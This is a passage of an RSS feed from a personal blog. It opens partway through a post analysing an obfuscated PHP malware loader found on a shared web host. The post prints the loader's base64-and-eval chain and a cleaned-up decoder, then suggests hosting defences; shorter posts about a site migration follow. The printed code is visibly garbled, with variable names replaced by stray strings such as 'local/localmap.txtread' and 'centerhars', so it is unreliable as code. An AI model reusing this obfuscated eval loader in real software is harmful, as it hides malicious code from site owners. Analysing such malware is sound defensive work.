class=&#34;sy0&#34;&gt;;&lt;/span&gt;&lt;br /&gt;
&lt;span class=&#34;re0&#34;&gt;local/localmap.txtread&lt;/span&gt;&lt;span class=&#34;sy0&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;re0&#34;&gt;centerhars&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#123;&lt;/span&gt;&lt;span class=&#34;nu0&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#125;&lt;/span&gt;&lt;span class=&#34;sy0&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;re0&#34;&gt;centerhars&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#123;&lt;/span&gt;&lt;span class=&#34;nu0&#34;&gt;8&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#125;&lt;/span&gt;&lt;span class=&#34;sy0&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;re0&#34;&gt;centerhars&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#123;&lt;/span&gt;&lt;span class=&#34;nu0&#34;&gt;5&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#125;&lt;/span&gt;&lt;span class=&#34;sy0&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;re0&#34;&gt;centerhars&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#123;&lt;/span&gt;&lt;span class=&#34;nu0&#34;&gt;9&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#125;&lt;/span&gt;&lt;span class=&#34;sy0&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;re0&#34;&gt;centerhars&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#123;&lt;/span&gt;&lt;span class=&#34;nu0&#34;&gt;16&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#125;&lt;/span&gt;&lt;span class=&#34;sy0&#34;&gt;;&lt;/span&gt;&lt;br /&gt;
&lt;span class=&#34;re0&#34;&gt;$strtr&lt;/span&gt;&lt;span class=&#34;sy0&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;re0&#34;&gt;centerhars&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#123;&lt;/span&gt;&lt;span class=&#34;nu0&#34;&gt;3&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#125;&lt;/span&gt;&lt;span class=&#34;sy0&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;re0&#34;&gt;centerhars&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#123;&lt;/span&gt;&lt;span class=&#34;nu0&#34;&gt;14&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#125;&lt;/span&gt;&lt;span class=&#34;sy0&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;re0&#34;&gt;centerhars&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#123;&lt;/span&gt;&lt;span class=&#34;nu0&#34;&gt;8&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#125;&lt;/span&gt;&lt;span class=&#34;sy0&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;re0&#34;&gt;centerhars&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#123;&lt;/span&gt;&lt;span class=&#34;nu0&#34;&gt;14&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#125;&lt;/span&gt;&lt;span class=&#34;sy0&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;re0&#34;&gt;centerhars&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#123;&lt;/span&gt;&lt;span class=&#34;nu0&#34;&gt;8&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#125;&lt;/span&gt;&lt;span class=&#34;sy0&#34;&gt;;&lt;/span&gt;&lt;br /&gt;
&lt;span class=&#34;re0&#34;&gt;local/localmap.txtilename&lt;/span&gt;&lt;span class=&#34;sy0&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;kw2&#34;&gt;__FILE__&lt;/span&gt;&lt;span class=&#34;sy0&#34;&gt;;&lt;/span&gt;&lt;br /&gt;
&lt;span class=&#34;re0&#34;&gt;centerount&lt;/span&gt;&lt;span class=&#34;sy0&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;nu0&#34;&gt;26100&lt;/span&gt;&lt;span class=&#34;sy0&#34;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;
  &lt;div class='sourceblocklink'&gt;&lt;a href='http://www.smspower.org/maxim/WhySharedHostingSucks?action=sourceblock&amp;amp;num=2' type='text/plain'&gt;Get Code&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;

&lt;p class='vspace'&gt;Then it uses one of them to base64_decode() and then eval() a string:
&lt;/p&gt;
&lt;div class='sourceblock ' id='sourceblock3'&gt;
  &lt;div class='sourceblocktext'&gt;&lt;div class=&#34;php&#34; style=&#34;font-family:monospace;&#34;&gt;&lt;span class=&#34;kw3&#34;&gt;eval&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#40;&lt;/span&gt;&lt;br /&gt;
&amp;nbsp; &lt;span class=&#34;re0&#34;&gt;$base64_decode&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#40;&lt;/span&gt;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &lt;span class=&#34;st_h&#34;&gt;'aWYoITApJE8wMDBPME8wMD0kT09PMDAwTzAwKCRPT08wTzBPMDAsJ3JiJyk7JE8wTzAwME8wMCgkTzAwME8wTzAwLDEwMjQpOyRPME8wMDBPMDAoJE8wMDBPME8wMCw0MDk2KTskT08wME8wME8wPSRPT08wMDAwTzAoJE9PTzAwMDAwTygkTzBPMDBPTzAwKCRPMDAwTzBPMDAsMzgwKSwnRW50ZXJ5b3V3a2hSSFlLTldPVVRBYUJiQ2NEZEZmR2dJaUpqTGxNbVBwUXFTc1Z2WHhaejAxMjM0NTY3ODkrLz0nLCdBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWmFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6MDEyMzQ1Njc4OSsvJykpO2V2YWwoJE9PMDBPMDBPMCk7'&lt;/span&gt;&lt;br /&gt;
&amp;nbsp; &lt;span class=&#34;br0&#34;&gt;&amp;#41;&lt;/span&gt;&lt;br /&gt;
&lt;span class=&#34;br0&#34;&gt;&amp;#41;&lt;/span&gt;&lt;span class=&#34;sy0&#34;&gt;;&lt;/span&gt;&lt;br /&gt;
&lt;span class=&#34;kw1&#34;&gt;return&lt;/span&gt;&lt;span class=&#34;sy0&#34;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;
  &lt;div class='sourceblocklink'&gt;&lt;a href='http://www.smspower.org/maxim/WhySharedHostingSucks?action=sourceblock&amp;amp;num=3' type='text/plain'&gt;Get Code&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;

&lt;p class='vspace'&gt;This decodes to another obfuscated bit of code, which I've cleaned up to this:
&lt;/p&gt;
&lt;div class='vspace'&gt;&lt;/div&gt;
&lt;div class='sourceblock ' id='sourceblock4'&gt;
  &lt;div class='sourceblocktext'&gt;&lt;div class=&#34;php&#34; style=&#34;font-family:monospace;&#34;&gt;&lt;span class=&#34;kw1&#34;&gt;if&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#40;&lt;/span&gt;&lt;span class=&#34;sy0&#34;&gt;!&lt;/span&gt;&lt;span class=&#34;nu0&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#41;&lt;/span&gt; &lt;span class=&#34;re0&#34;&gt;readhisfile&lt;/span&gt; &lt;span class=&#34;sy0&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;re0&#34;&gt;local/localmap.txtopen&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#40;&lt;/span&gt;&lt;span class=&#34;re0&#34;&gt;local/localmap.txtilename&lt;/span&gt;&lt;span class=&#34;sy0&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;st_h&#34;&gt;'rb'&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#41;&lt;/span&gt;&lt;span class=&#34;sy0&#34;&gt;;&lt;/span&gt;&lt;br /&gt;
&lt;span class=&#34;re0&#34;&gt;local/localmap.txtgets&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#40;&lt;/span&gt;&lt;span class=&#34;re0&#34;&gt;readhisfile&lt;/span&gt;&lt;span class=&#34;sy0&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;nu0&#34;&gt;1024&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#41;&lt;/span&gt;&lt;span class=&#34;sy0&#34;&gt;;&lt;/span&gt; &lt;span class=&#34;co1&#34;&gt;// skip first 1K&lt;/span&gt;&lt;br /&gt;
&lt;span class=&#34;re0&#34;&gt;local/localmap.txtgets&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#40;&lt;/span&gt;&lt;span class=&#34;re0&#34;&gt;readhisfile&lt;/span&gt;&lt;span class=&#34;sy0&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;nu0&#34;&gt;4096&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#41;&lt;/span&gt;&lt;span class=&#34;sy0&#34;&gt;;&lt;/span&gt; &lt;span class=&#34;co1&#34;&gt;// skip rest of first line&lt;/span&gt;&lt;br /&gt;
&lt;span class=&#34;re0&#34;&gt;$part2&lt;/span&gt; &lt;span class=&#34;sy0&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;re0&#34;&gt;$base64_decode&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#40;&lt;/span&gt;&lt;br /&gt;
&amp;nbsp; &lt;span class=&#34;re0&#34;&gt;$strtr&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#40;&lt;/span&gt;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &lt;span class=&#34;re0&#34;&gt;local/localmap.txtread&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#40;&lt;/span&gt;&lt;span class=&#34;re0&#34;&gt;readhisfile&lt;/span&gt;&lt;span class=&#34;sy0&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;nu0&#34;&gt;380&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#41;&lt;/span&gt;&lt;span class=&#34;sy0&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;co1&#34;&gt;// first part of magic string after &amp;quot;?&amp;gt;&amp;quot;&lt;/span&gt;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &lt;span class=&#34;st_h&#34;&gt;'EnteryouwkhRHYKNWOUTAaBbCcDdFfGgIiJjLlMmPpQqSsVvXxZz0123456789+/='&lt;/span&gt;&lt;span class=&#34;sy0&#34;&gt;,&lt;/span&gt;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &lt;span class=&#34;st_h&#34;&gt;'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'&lt;/span&gt;&lt;br /&gt;
&amp;nbsp; &lt;span class=&#34;br0&#34;&gt;&amp;#41;&lt;/span&gt;&lt;br /&gt;
&lt;span class=&#34;br0&#34;&gt;&amp;#41;&lt;/span&gt;&lt;span class=&#34;sy0&#34;&gt;;&lt;/span&gt;&lt;br /&gt;
&lt;span class=&#34;kw3&#34;&gt;eval&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#40;&lt;/span&gt;&lt;span class=&#34;re0&#34;&gt;$part2&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#41;&lt;/span&gt;&lt;span class=&#34;sy0&#34;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;
  &lt;div class='sourceblocklink'&gt;&lt;a href='http://www.smspower.org/maxim/WhySharedHostingSucks?action=sourceblock&amp;amp;num=4' type='text/plain'&gt;Get Code&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;

&lt;p class='vspace'&gt;This is reading the first 380 chars of the big block of text after the end of the PHP code, doing some character swapping, and then eval()ing the result. So what is that?
&lt;/p&gt;
&lt;div class='vspace'&gt;&lt;/div&gt;
&lt;div class='sourceblock ' id='sourceblock5'&gt;
  &lt;div class='sourceblocktext'&gt;&lt;div class=&#34;php&#34; style=&#34;font-family:monospace;&#34;&gt;&lt;span class=&#34;re0&#34;&gt;$part3&lt;/span&gt; &lt;span class=&#34;sy0&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;kw3&#34;&gt;ereg_replace&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#40;&lt;/span&gt;&lt;br /&gt;
&amp;nbsp; &lt;span class=&#34;st_h&#34;&gt;'__FILE__'&lt;/span&gt;&lt;span class=&#34;sy0&#34;&gt;,&lt;/span&gt;&lt;br /&gt;
&amp;nbsp; &lt;span class=&#34;st0&#34;&gt;&amp;quot;'&amp;quot;&lt;/span&gt;&lt;span class=&#34;sy0&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;re0&#34;&gt;local/localmap.txtilename&lt;/span&gt;&lt;span class=&#34;sy0&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;st0&#34;&gt;&amp;quot;'&amp;quot;&lt;/span&gt;&lt;span class=&#34;sy0&#34;&gt;,&lt;/span&gt;&lt;br /&gt;
&amp;nbsp; &lt;span class=&#34;re0&#34;&gt;$base64_decode&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#40;&lt;/span&gt;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &lt;span class=&#34;re0&#34;&gt;$strtr&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#40;&lt;/span&gt;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span class=&#34;re0&#34;&gt;local/localmap.txtread&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#40;&lt;/span&gt;&lt;span class=&#34;re0&#34;&gt;readhisfile&lt;/span&gt;&lt;span class=&#34;sy0&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;re0&#34;&gt;centerount&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#41;&lt;/span&gt;&lt;span class=&#34;sy0&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;co1&#34;&gt;// second part of magic string&lt;/span&gt;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span class=&#34;st_h&#34;&gt;'EnteryouwkhRHYKNWOUTAaBbCcDdFfGgIiJjLlMmPpQqSsVvXxZz0123456789+/='&lt;/span&gt;&lt;span class=&#34;sy0&#34;&gt;,&lt;/span&gt;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span class=&#34;st_h&#34;&gt;'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'&lt;/span&gt;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &lt;span class=&#34;br0&#34;&gt;&amp;#41;&lt;/span&gt;&lt;br /&gt;
&amp;nbsp; &lt;span class=&#34;br0&#34;&gt;&amp;#41;&lt;/span&gt;&lt;br /&gt;
&lt;span class=&#34;br0&#34;&gt;&amp;#41;&lt;/span&gt;&lt;span class=&#34;sy0&#34;&gt;;&lt;/span&gt;&lt;br /&gt;
&lt;span class=&#34;kw3&#34;&gt;fclose&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#40;&lt;/span&gt;&lt;span class=&#34;re0&#34;&gt;readhisfile&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#41;&lt;/span&gt;&lt;span class=&#34;sy0&#34;&gt;;&lt;/span&gt;&lt;br /&gt;
&lt;span class=&#34;kw3&#34;&gt;eval&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#40;&lt;/span&gt;&lt;span class=&#34;re0&#34;&gt;$part3&lt;/span&gt;&lt;span class=&#34;br0&#34;&gt;&amp;#41;&lt;/span&gt;&lt;span class=&#34;sy0&#34;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;
  &lt;div class='sourceblocklink'&gt;&lt;a href='http://www.smspower.org/maxim/WhySharedHostingSucks?action=sourceblock&amp;amp;num=5' type='text/plain'&gt;Get Code&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;

&lt;p class='vspace'&gt;This is looking familiar. Our protagonist is reading in the rest of that line, performing the exact same substitution (is it that hard to make a new mapping?) and then performing a useless substitution (there is no &#34;__FILE__&#34; in the text; plus, it'd get filled in anyway). Then he's eval()ing again, finally closing the file, which is kind (except he's has forgotten to use &lt;code&gt;local/localmap.txtclose&lt;/code&gt;).
&lt;/p&gt;
&lt;p class='vspace'&gt;This time the eval()d code is &amp;gt;25KB. At this point he is done; he has a nice malicious PHP page for abusing people's forums, reading arbitrary files... and that's it. This is just a script kiddie forum defacer.
&lt;/p&gt;
&lt;p class='vspace'&gt;What do we do about this kind of idiot? Well, we don't let people upload PHP scripts, for a start. The only way this can get in there is from someone else on the shared server putting files in a world-writeable directory. (That person could well be the Apache/PHP user, via a malicious script executed via a flaw in someone else's website on the same server.) And to allow PHP uploads, we can't really avoid that being possible. The options are:
&lt;/p&gt;
&lt;div class='vspace'&gt;&lt;/div&gt;&lt;ul&gt;&lt;li&gt;A private server (dedicated box), where there is nobody else around. Could be expensive, and you really need a sysadmin to keep on top of it.
&lt;/li&gt;&lt;li&gt;A virtualised server, where our stuff is sandboxed away from everyone else. Looks like the former one but should be cheaper.
&lt;/li&gt;&lt;li&gt;A system set up to run Apache and/or PHP as a specific user who is in the same group as the &#34;account user&#34;. Easier said than done, apparently.
&lt;/li&gt;&lt;/ul&gt;&lt;p class='vspace'&gt;We'll probably get to one of these eventually. Until then... well, let's be careful out there.
&lt;/p&gt;
</description>
<link>http://www.smspower.org/maxim/WhySharedHostingSucks</link>
<dc:contributor>Maxim</dc:contributor>
<dc:date>2009-11-17T09:48:21Z</dc:date>
<pubDate>Tue, 17 Nov 2009 09:48:21 GMT</pubDate>
</item>
<item>
<title>Just About Done</title>
<author>Maxim</author>
<description>&lt;p&gt;I've now converted over everything from the old site except for, of course, &lt;a class='wikilink' href='http://www.smspower.org/maxim/HowToProgram/Index'&gt;How To Program&lt;/a&gt; which is taking just about forever.
&lt;/p&gt;
&lt;p class='vspace'&gt;
I've written a fair amount extra for it, and I'm having to adjust what comes after as a result. There's also some things I need to revisit from the Hello World demo, to make it more correct as a base for people to use. Time is my enemy, I have a million scans to upload, the VGM section is half-done, the PHPBB3 conversion is taking forever since I decided I don't like any of the &#34;themes&#34; and I'm writing my own...
&lt;/p&gt;
</description>
<link>http://www.smspower.org/maxim/JustAboutDone</link>
<dc:contributor>Maxim</dc:contributor>
<dc:date>2009-08-31T18:11:58Z</dc:date>
<pubDate>Mon, 31 Aug 2009 18:11:58 GMT</pubDate>
</item>
<item>
<title>Phew!</title>
<author>Maxim</author>
<description>&lt;p class='vspace'&gt;Thank goodness the site wasn't lost - not one word of the converted pages had been backed up because I did it all since last Sunday. It's annoying to have this sort of thing happen, but the knowledge that I have a half-decent backup stopped it being as stomach-sinkingly awful as it might have been.
&lt;/p&gt;
&lt;p class='vspace'&gt;I've decided to restructure &lt;a class='wikilink' href='http://www.smspower.org/maxim/HowToProgram/Index'&gt;How To Program&lt;/a&gt; a bit, possibly in light of the Stan affair. There's more potential for off-shooting explanatory pages in this new system, too. All I need is time...
&lt;/p&gt;
</description>
<link>http://www.smspower.org/maxim/Phew</link>
<dc:contributor>Maxim</dc:contributor>
<dc:date>2009-08-28T17:11:35Z</dc:date>
<pubDate>Fri, 28 Aug 2009 17:11:35 GMT</pubDate>
</item>
<item>
<title>Maps 'n' Stuff</title>
<author>Maxim</author>
<description>&lt;p class='vspace'&gt;I added a bunch more pages, mostly maps. Slightly annoyingly, PmWiki doesn't support some punctuation in filenames so I had to mangle my nicely-formatted naming convention. On the plus side, I'm getting pretty good at converting the HTML to the wiki syntax.
&lt;/p&gt;
&lt;p class='vspace'&gt;As you may have noticed, I'm also trying to post a blag entry each day for a while, partly as a motivation thing and partly so I can populate the system a bit so I can try to figure out some of the more tricksy stuff like archives.
&lt;/p&gt;
&lt;p class='vspace'&gt;
Coming up soon is the conversion of &lt;a class='wikilink' href='http://www.smspower.org/maxim/HowToProgram/Index'&gt;HowToProgram&lt;/a&gt; (dead link until I do it) which is going to be tough. I'm thinking of breaking it up a bit into smaller pages joined by a wikitrail. All I need is time... although, in a few weeks, that problem will be somewhat transformed into having time to fill. Let's look on that as a good thing.
&lt;/p&gt;
</description>
<link>http://www.smspower.org/maxim/MapsNStuff</link>
<dc:contributor>Maxim</dc:contributor>
<dc:date>2009-08-28T17:00:46Z</dc:date>
<pubDate>Fri, 28 Aug 2009 17:00:46 GMT</pubDate>
</item>
<item>
<title>Making Progress</title>
<author>Maxim</author>
<description>&lt;p&gt;I've started porting some of my old pages over. Exciting as this is to my millions of readers, it is taking some time, but hopefully the new improved format will work better and let me add stuff with less suffering in future.
&lt;/p&gt;
&lt;p class='vspace'&gt;
Obligatory xkcd:
&lt;/p&gt;
&lt;div class='vspace'&gt;&lt;/div&gt;&lt;div&gt;&lt;a class='urllink' href='http://xkcd.com/148/' rel='nofollow'&gt;&lt;img src='http://www.smspower.org/maxim/uploads/Blag/mispronouncing.png' alt='' title='' /&gt;&lt;/a&gt;&lt;/div&gt;
</description>
<link>http://www.smspower.org/maxim/MakingProgress</link>
<dc:contributor>Maxim</dc:contributor>
<dc:date>2009-08-28T17:00:58Z</dc:date>
<pubDate>Fri, 28 Aug 2009 17:00:58 GMT</pubDate>
</item>
<item>
<title>Site Changes</title>
<author>Maxim</author>
<description>&lt;p&gt;Changing my site, please wait for normal service to resume.
&lt;/p&gt;
&lt;div class='vspace'&gt;&lt;/div&gt;&lt;div&gt;&lt;img src='http://www.smspower.org/maxim/uploads/Blag/technical-difficulties.jpg' alt='' title='' /&gt;&lt;/div&gt;
</description>
<link>http://www.smspower.org/maxim/SiteChanges</link>
<dc:contributor>Maxim</dc:contributor>
<dc:date>2009-08-28T15:46:11Z</dc:date>
<pubDate>Fri, 28 Aug 2009 15:46:11 GMT</pubDate>
</item>
</channel>
</rss>
